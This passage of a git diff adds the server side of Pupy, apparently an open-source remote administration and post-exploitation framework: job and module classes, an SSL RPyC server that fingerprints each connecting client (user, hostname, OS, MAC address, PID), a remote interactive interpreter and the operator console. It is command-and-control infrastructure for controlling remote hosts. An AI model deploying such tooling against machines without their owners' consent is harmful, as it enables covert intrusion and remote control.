ctypes.pythonapi.PyThreadState_SetAsyncExc(ctypes.c_long(tid), None) + raise SystemError("PyThreadState_SetAsyncExc failed") + +class Thread(threading.Thread): + def _get_my_tid(self): + """determines this (self's) thread id""" + if not self.isAlive(): + raise threading.ThreadError("the thread is not active") + + # do we have it cached? + if hasattr(self, "_thread_id"): + return self._thread_id + + # no, look for it in the _active dict + for tid, tobj in threading._active.items(): + if tobj is self: + self._thread_id = tid + return tid + + raise AssertionError("could not determine the thread's id") + + def raise_exc(self, exctype): + """raises the given exception type in the context of this thread""" + _async_raise(self._get_my_tid(), exctype) + + def stop(self): + """raises SystemExit in the context of the given thread, which should + cause the thread to exit silently (unless caught)""" + self.raise_exc(KeyboardInterrupt) + +class ThreadPool(object): + def __init__(self): + self.thread_pool=[] + + def apply_async(self, func, args): + t=Thread(target=func, args=args) + t.daemon=True + self.thread_pool.append(t) + t.start() + + def interrupt_all(self): + for t in self.thread_pool: + if t.isAlive(): + t.stop() + + def join(self): + while True: + allok=True + for t in self.thread_pool: + if t.isAlive(): + t.join(0.5) + allok=False + if allok: + break + + def all_finished(self): + for t in self.thread_pool: + if t.isAlive(): + return False + return True + +class PupyJob(object): + """ a job handle a group of modules """ + + def __init__(self, pupsrv, name): + self.name=name + self.pupsrv=pupsrv + self.pupymodules=[] + self.worker_pool=ThreadPool() + self.started=threading.Event() + self.error_happened=threading.Event() + self.jid=None + + def add_module(self, mod): + self.pupymodules.append(mod) + + def stop(self): + for p in self.pupymodules: + p.stop_daemon() + self.pupsrv.del_job(self.jid) + self.interrupt() + + def module_worker(self, module, args): + try: + module.run(args) + except PupyModuleExit as e: + return + except PupyModuleError as e: + self.error_happened.set() + module.error(str(e)) + except KeyboardInterrupt: + pass + except Exception as e: + self.error_happened.set() + module.error(str(e)) + + def start(self, args): + #if self.started.is_set(): + # raise RuntimeError("job %s has already been started !"%str(self)) + for m in self.pupymodules: + margs=m.arg_parser.parse_args(args) + comp, comp_exp= m.is_compatible() + if not comp: + m.error("Compatibility error : %s"%comp_exp) + continue + self.worker_pool.apply_async(self.module_worker, (m, margs)) + self.started.set() + + def interrupt(self): + if not self.started: + raise RuntimeError("can't interrupt. job %s has not been started"%str(self)) + self.worker_pool.interrupt_all() + self.wait() + + def interactive_wait(self): + while True: + if self.is_finished(): + break + time.sleep(0.1) + if self.error_happened.is_set(): + return True + return False + + def wait(self): + self.worker_pool.join() + for m in self.pupymodules: + while True: + try: + m.client.conn._conn.ping(timeout=2) + break + except KeyboardInterrupt: + continue + except rpyc.AsyncResultTimeout: + logging.debug("connection %s seems blocked, reinitialising..."%str(m)) + m.client.conn._conn.close() + break + + def is_finished(self): + return self.worker_pool.all_finished() + + def result_summary(self): + res="" + for m in self.pupymodules: + res+=m.formatter.format_section(str(m.client)) + res+=m.stdout.getvalue() + res+="\n" + m.stdout.truncate(0) + return res + + def __del__(self): + for m in self.pupymodules: + del m + del self.pupymodules + + def get_clients_nb(self): + return len(self.pupymodules) + + def __str__(self): + return "< %s >"%(self.name) + diff --git a/pupy/pupylib/PupyModule.py b/pupy/pupylib/PupyModule.py new file mode 100644 index 00000000..1def5e7f --- /dev/null +++ b/pupy/pupylib/PupyModule.py @@ -0,0 +1,114 @@ +# -*- coding: UTF8 -*- +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- +import argparse +import sys +from .PupyErrors import PupyModuleExit +import StringIO + +class PupyArgumentParser(argparse.ArgumentParser): + def exit(self, status=0, message=None): + if message: + self._print_message(message, sys.stderr) + raise PupyModuleExit("exit with status %s"%status) + +class PupyModule(object): + """ + This is the class all the pupy scripts must inherit from + max_clients -> max number of clients the script can be sent at once (0=infinite) + daemon_script -> script that will continue running in background once started + """ + max_clients=0 #define on how much clients you module can be run in one command. For example an interactive module should be 1 client max at a time. set to 0 for unlimited + daemon=False #if your module is meant to run in background, set this to True and override the stop_daemon method. + unique_instance=False # if True, don't start a new module and use another instead + + def __init__(self, client, job, formatter=None, stdout=None): + """ client must be a PupyClient instance """ + self.client=client + self.job=job + self.init_argparse() + if formatter is None: + from .PupyCmd import PupyCmd + self.formatter=PupyCmd + else: + self.formatter=formatter + if stdout is None: + self.stdout=StringIO.StringIO() + self.del_close=True + else: + self.stdout=stdout + self.del_close=False + + def __del__(self): + if self.del_close: + self.stdout.close() + + def init_argparse(self): + """ Override this class to define your own arguments. """ + self.arg_parser = PupyArgumentParser(prog='PupyModule', description='PupyModule default description') + + def is_compatible(self): + """ override this method to define if the script is compatible with the givent client. The first value of the returned tuple is True if the module is compatible with the client and the second is a string explaining why in case of incompatibility""" + return (True, "") + + def is_daemon(self): + return self.daemon + + def stop_daemon(self): + """ override this method to define how to stop your module if the module is a deamon or is launch as a job """ + pass + + def run(self, args): + """ + the parameter args is an object as returned by the parse_args() method from argparse. You can define your arguments options in the init_argparse() method + The run method does not return any argument. You can raise PupyModuleError in case of error + NOTICE: DO NOT use print in this function, always use self.rawlog, self.log, self.error and self.warning instead + """ + raise NotImplementedError("PupyModule's run method has not been implemented !") + + def rawlog(self, msg): + """ log data to the module stdout """ + self.stdout.write(msg) + + def log(self, msg): + self.stdout.write(self.formatter.format_log(msg)) + + def error(self, msg): + self.stdout.write(self.formatter.format_error(msg)) + + def warning(self, msg): + self.stdout.write(self.formatter.format_warning(msg)) + + def success(self, msg): + self.stdout.write(self.formatter.format_success(msg)) + + def info(self, msg): + self.stdout.write(self.formatter.format_info(msg)) + + +#define some decorators for PupyModules : +def windows_only(func): + """ decorator for is_compatible method """ + def wrapper(self): + return (self.client.is_windows(), "The module has only been implemented for windows systems") + return wrapper + +def unix_only(func): + """ decorator for is_compatible method """ + def wrapper(self): + return (self.client.is_unix(), "The module has only been implemented for unix systems") + return wrapper + + diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py new file mode 100644 index 00000000..66c8431f --- /dev/null +++ b/pupy/pupylib/PupyServer.py @@ -0,0 +1,237 @@ +# -*- coding: UTF8 -*- +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- + +import threading +from rpyc.utils.authenticators import SSLAuthenticator +from rpyc.utils.server import ThreadPoolServer +from . import PupyService +import textwrap +import pkgutil +import modules +import logging +from .PupyErrors import PupyModuleExit, PupyModuleError +from .PupyJob import PupyJob +try: + import ConfigParser as configparser +except ImportError: + import configparser +from . import PupyClient +import os.path + +class PupyServer(threading.Thread): + def __init__(self, configFile="pupy.conf"): + super(PupyServer, self).__init__() + self.daemon=True + self.server=None + self.authenticator=None + self.clients=[] + self.jobs={} + self.jobs_id=1 + self.clients_lock=threading.Lock() + self.current_id=1 + self.config = configparser.ConfigParser() + self.config.read(configFile) + self.port=self.config.getint("pupyd","port") + self.address=self.config.get("pupyd","address") + + def add_client(self, conn): + with self.clients_lock: + conn.execute(textwrap.dedent( + """ + import platform + import getpass + import uuid + import sys + import os + def get_uuid(): + user=None + node=None + plat=None + release=None + version=None + machine=None + macaddr=None + pid=None + proc_arch=None + proc_path=sys.executable + try: + user=getpass.getuser() + except Exception: + pass + try: + node=platform.node() + except Exception: + pass + try: + version=platform.platform() + except Exception: + pass + try: + plat=platform.system() + except Exception: + pass + try: + release=platform.release() + except Exception: + pass + try: + version=platform.version() + except Exception: + pass + try: + machine=platform.machine() + except Exception: + pass + try: + pid=os.getpid() + except Exception: + pass + try: + proc_arch=platform.architecture()[0] + except Exception: + pass + try: + macaddr=uuid.getnode() + macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2)) + except Exception: + pass + return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path) + """)) + l=conn.namespace["get_uuid"]() + + self.clients.append(PupyClient.PupyClient({ + "id": self.current_id, + "conn" : conn, + "user" : l[0], + "hostname" : l[1], + "platform" : l[2], + "release" : l[3], + "version" : l[4], + "os_arch" : l[5], + "proc_arch" : l[8], + "exec_path" : l[9], + "macaddr" : l[6], + "pid" : l[7], + "address" : conn._conn._config['connid'].split(':')[0], + }, self)) + self.current_id+=1 + + def remove_client(self, client): + with self.clients_lock: + for i,c in enumerate(self.clients): + if c.conn is client: + del self.clients[i] + break + + def get_clients(self, search_criteria): + """ return a list of clients corresponding to the search criteria. ex: platform:*win* """ + #if the criteria is a simple id we return the good client + try: + index=int(search_criteria) + for c in self.clients: + if int(c.desc["id"])==index: + return [c] + return [] + except Exception: + pass + l=set([]) + if search_criteria=="*": + return self.clients + for c in self.clients: + take=False + for sc in search_criteria.split(): + tab=sc.split(":",1) + if len(tab)==2 and tab[0] in [x for x in c.desc.iterkeys()]:#if the field is specified we search for the value in this field + take=True + if not tab[1].lower() in str(c.desc[tab[0]]).lower(): + take=False + break + elif len(tab)!=2:#if there is no field specified we search in every field for at least one match + take=False + for k,v in c.desc.iteritems(): + if type(v) is unicode or type(v) is str: + if tab[0].lower() in v.decode('utf8').lower(): + take=True + break + else: + if tab[0].lower() in str(v).decode('utf8').lower(): + take=True + break + if not take: + break + if take: + l.add(c) + return list(l) + + def get_clients_list(self): + return self.clients + + def list_modules(self): + l=[] + for loader, module_name, is_pkg in pkgutil.iter_modules(modules.__path__): + module=self.get_module(module_name) + l.append((module_name,module.__doc__)) + return l + + def get_module(self, name): + script_found=False + for loader, module_name, is_pkg in pkgutil.iter_modules(modules.__path__): + if module_name==name: + script_found=True + module=loader.find_module(module_name).load_module(module_name) + class_name=None + if hasattr(module,"__class_name__"): + class_name=module.__class_name__ + if not hasattr(module,class_name): + logging.error("script %s has a class_name=\"%s\" global variable defined but this class does not exists in the script !"%(script_name,class_name)) + if not class_name: + #TODO automatically search the class name in the file + pass + return getattr(module,class_name) + + def module_parse_args(self, module_name, args): + """ This method is used by the PupyCmd class to verify validity of arguments passed to a specific module """ + module=self.get_module(module_name) + ps=module(None,None) + return ps.arg_parser.parse_args(args) + + def del_job(self, job_id): + if job_id is not None: + job_id=int(job_id) + if job_id in self.jobs: + del self.jobs[job_id] + + def add_job(self, job): + job.id=self.jobs_id + self.jobs[self.jobs_id]=job + self.jobs_id+=1 + + + def get_job(self, job_id): + try: + job_id=int(job_id) + except ValueError: + raise PupyModuleError("job id must be an integer !") + if job_id not in self.jobs: + raise PupyModuleError("%s: no such job !"%job_id) + return self.jobs[job_id] + + def run(self): + self.authenticator = SSLAuthenticator(self.config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), self.config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH") + self.server = ThreadPoolServer(PupyService.PupyService, port = self.port, hostname=self.address, authenticator=self.authenticator) + self.server.start() + + diff --git a/pupy/pupylib/PupyService.py b/pupy/pupylib/PupyService.py new file mode 100644 index 00000000..038a3a13 --- /dev/null +++ b/pupy/pupylib/PupyService.py @@ -0,0 +1,65 @@ +# -*- coding: UTF8 -*- +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- + +import rpyc.core.service +import rpyc +import threading +import sys +import ssl + +class PupyService(rpyc.Service): + def __init__(self, *args, **kwargs): + super(PupyService, self).__init__(*args, **kwargs) + self.pupy_srv=glob_pupyServer + def on_connect(self): + # code that runs when a connection is created + # (to init the serivce, if needed) + self._conn._config.update(dict( + allow_safe_attrs = True, + allow_public_attrs = False, + allow_pickle = False, + allow_getattr = True, + allow_setattr = False, + allow_delattr = False, + import_custom_exceptions = False, + instantiate_custom_exceptions = False, + instantiate_oldstyle_exceptions = False, + )) + #self._conn._config["safe_attrs"].add("__iter__") + #self._conn._config["safe_attrs"].add("readline") + self.modules=None + + #some aliases : + self.namespace=self._conn.root.namespace + self.execute=self._conn.root.execute + self.exit=self._conn.root.exit + self.eval=self._conn.root.eval + self.builtin=self.modules.__builtin__ + self.builtins=self.modules.__builtin__ + self.exposed_stdin=sys.stdin + self.exposed_stdout=sys.stdout + self.exposed_stderr=sys.stderr + self.pupy_srv.add_client(self) + + def on_disconnect(self): + self.pupy_srv.remove_client(self) + + def exposed_set_modules(self, modules): + self.modules=modules + + + + diff --git a/pupy/pupylib/PythonCompleter.py b/pupy/pupylib/PythonCompleter.py new file mode 100644 index 00000000..2d0a6f7c --- /dev/null +++ b/pupy/pupylib/PythonCompleter.py @@ -0,0 +1,106 @@ +import __builtin__ + +__all__ = ["PupyCompleter"] + +class PupyCompleter: + def __init__(self, local_ns=None, global_ns=None): + if local_ns is not None: + self.local_ns=local_ns + else: + self.local_ns={} + if global_ns is not None: + self.global_ns=global_ns + else: + self.global_ns={} + + def complete(self, text, state): + if state == 0: + if "." in text: + self.matches = self.attr_matches(text) + else: + self.matches = self.var_matches(text) + try: + return self.matches[state] + except IndexError: + return None + + def _callable_postfix(self, val, word): + if hasattr(val, '__call__'): + word = word + "(" + return word + + def var_matches(self, text): + import re + m = re.match(r"(\w*)", text) + if not m: + return [] + words=[x for x in self.local_ns.iterkeys() if x.startswith(m.group(1))] + if "__builtins__" in words: + words.remove("__builtins__") + return words + + def attr_matches(self, text): + """Compute matches when text contains a dot. + + Assuming the text is of the form NAME.NAME....[NAME], and is + evaluatable in self.namespace, it will be evaluated and its attributes + (as revealed by dir()) are used as possible completions. (For class + instances, class members are also considered.) + + WARNING: this can still invoke arbitrary C code, if an object + with a __getattr__ hook is evaluated. + """ + import re + bsw="[a-zA-Z0-9_\\(\\)\\[\\]\"']" + m = re.match(r"(\w+(\.\w+)*)\.(\w*)".replace(r"\w",bsw), text) + if not m: + return [] + + expr, attr = m.group(1, 3) + try: + try: + thisobject = eval(expr, self.global_ns, self.local_ns) + except NameError as e: + """ + print str(e) + try: + exec "import %s"%expr in global_ns, self.local_ns + thisobject = eval(expr, global_ns, self.local_ns) + except ImportError: + pass + """ + except Exception as e: + return [] + + # get the content of the object, except __builtins__ + words = dir(thisobject) + if "__builtins__" in words: + words.remove("__builtins__") + + if hasattr(thisobject, '__class__'): + words.append('__class__') + words.extend(get_class_members(thisobject.__class__)) + words=[x for x in words if not x.startswith("__")] + matches = [] + n = len(attr) + for word in words: + if word[:n] == attr and hasattr(thisobject, word): + val = getattr(thisobject, word) + word = self._callable_postfix(val, "%s.%s" % (expr, word)) + matches.append(word) + return matches + +def get_class_members(klass): + ret = dir(klass) + if hasattr(klass,'__bases__'): + for base in klass.__bases__: + ret = ret + get_class_members(base) + return ret + +if __name__=="__main__": + import code + import readline + readline.set_completer(PupyCompleter().complete) + readline.parse_and_bind('tab: complete') + code.interact() + diff --git a/pupy/pupylib/__init__.py b/pupy/pupylib/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/pupy/pupylib/utils.py b/pupy/pupylib/utils.py new file mode 100644 index 00000000..e7b61639 --- /dev/null +++ b/pupy/pupylib/utils.py @@ -0,0 +1,71 @@ +# -*- coding: UTF8 -*- +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- + +import sys +from contextlib import contextmanager +from rpyc.utils.helpers import restricted +from rpyc.utils.classic import obtain + +@contextmanager +def redirected_stdo(conn, stdout, stderr): + orig_stdout = conn.modules.sys.stdout + orig_stderr = conn.modules.sys.stderr + try: + conn.modules.sys.stdout = restricted(stdout,["softspace", "write", "flush"]) + conn.modules.sys.stderr = restricted(stderr,["softspace", "write", "flush"]) + yield + finally: + conn.modules.sys.stdout = orig_stdout + conn.modules.sys.stderr = orig_stderr + +def interact(conn): + """remote interactive interpreter + + :param conn: the RPyC connection + :param namespace: the namespace to use (a ``dict``) + """ + with redirected_stdio(conn): + conn.execute("""def _rinteract(): + def new_exit(): + print "use ctrl+D to exit the interactive python interpreter." + import code + code.interact(local = dict({"exit":new_exit, "quit":new_exit}))""") + conn.namespace["_rinteract"]() + +@contextmanager +def redirected_stdio(conn): + r""" + Redirects the other party's ``stdin``, ``stdout`` and ``stderr`` to + those of the local party, so remote IO will occur locally. + + Example usage:: + + with redirected_stdio(conn): + conn.modules.sys.stdout.write("hello\n") # will be printed locally + + """ + orig_stdin = conn.modules.sys.stdin + orig_stdout = conn.modules.sys.stdout + orig_stderr = conn.modules.sys.stderr + try: + conn.modules.sys.stdin =restricted(sys.stdin, ["softspace", "write", "readline", "encoding", "close"]) + conn.modules.sys.stdout = restricted(sys.stdout, ["softspace", "write", "readline", "encoding", "close", "flush"]) + conn.modules.sys.stderr = restricted(sys.stderr, ["softspace", "write", "readline", "encoding", "close", "flush"]) + yield + finally: + conn.modules.sys.stdin = orig_stdin + conn.modules.sys.stdout = orig_stdout + conn.modules.sys.stderr = orig_stderr diff --git a/pupy/pupysh.py b/pupy/pupysh.py new file mode 100755 index 00000000..3d59ed1b --- /dev/null +++ b/pupy/pupysh.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- + +import pupylib.PupyServer +import pupylib.PupyCmd +import logging +import time +import traceback +import argparse +import os +import os.path + +__author__='Nicolas VERDIER' +__version__='v1.0.0' + +def print_version(): + print("Pupy - %s"%(__version__)) + +if __name__=="__main__": + if os.path.dirname(__file__): + os.chdir(os.path.dirname(__file__)) + parser = argparse.ArgumentParser(prog='ptrconsole', description="Pupy console") + parser.add_argument('-d', '--debug', help="print DEBUG level logs", action="store_const", dest="loglevel", const=logging.DEBUG, default=logging.WARNING) + parser.add_argument('-v', '--verbose', help="print INFO level logs", action="store_const", dest="loglevel", const=logging.INFO) + parser.add_argument('--version', help="print version and exit", action='store_true') + args=parser.parse_args() + if args.version: + print_version() + exit(0) + if args.loglevel==logging.INFO: + print("logging level: INFO") + elif args.loglevel==logging.DEBUG: + print("logging level: DEBUG") + logging.basicConfig(format='%(asctime)-15s - %(levelname)-5s - %(message)s') + logging.getLogger().setLevel(args.loglevel) + + pupyServer=pupylib.PupyServer.PupyServer() + try: + import __builtin__ as builtins + except ImportError: + import builtins + builtins.glob_pupyServer=pupyServer # dirty ninja trick for this particular case avoiding to touch rpyc source code + pupyServer.start() + pcmd=pupylib.PupyCmd.PupyCmd(pupyServer) + while True: + try: + pcmd.cmdloop() + except Exception as e: + print(traceback.format_exc()) + pcmd.intro='' + +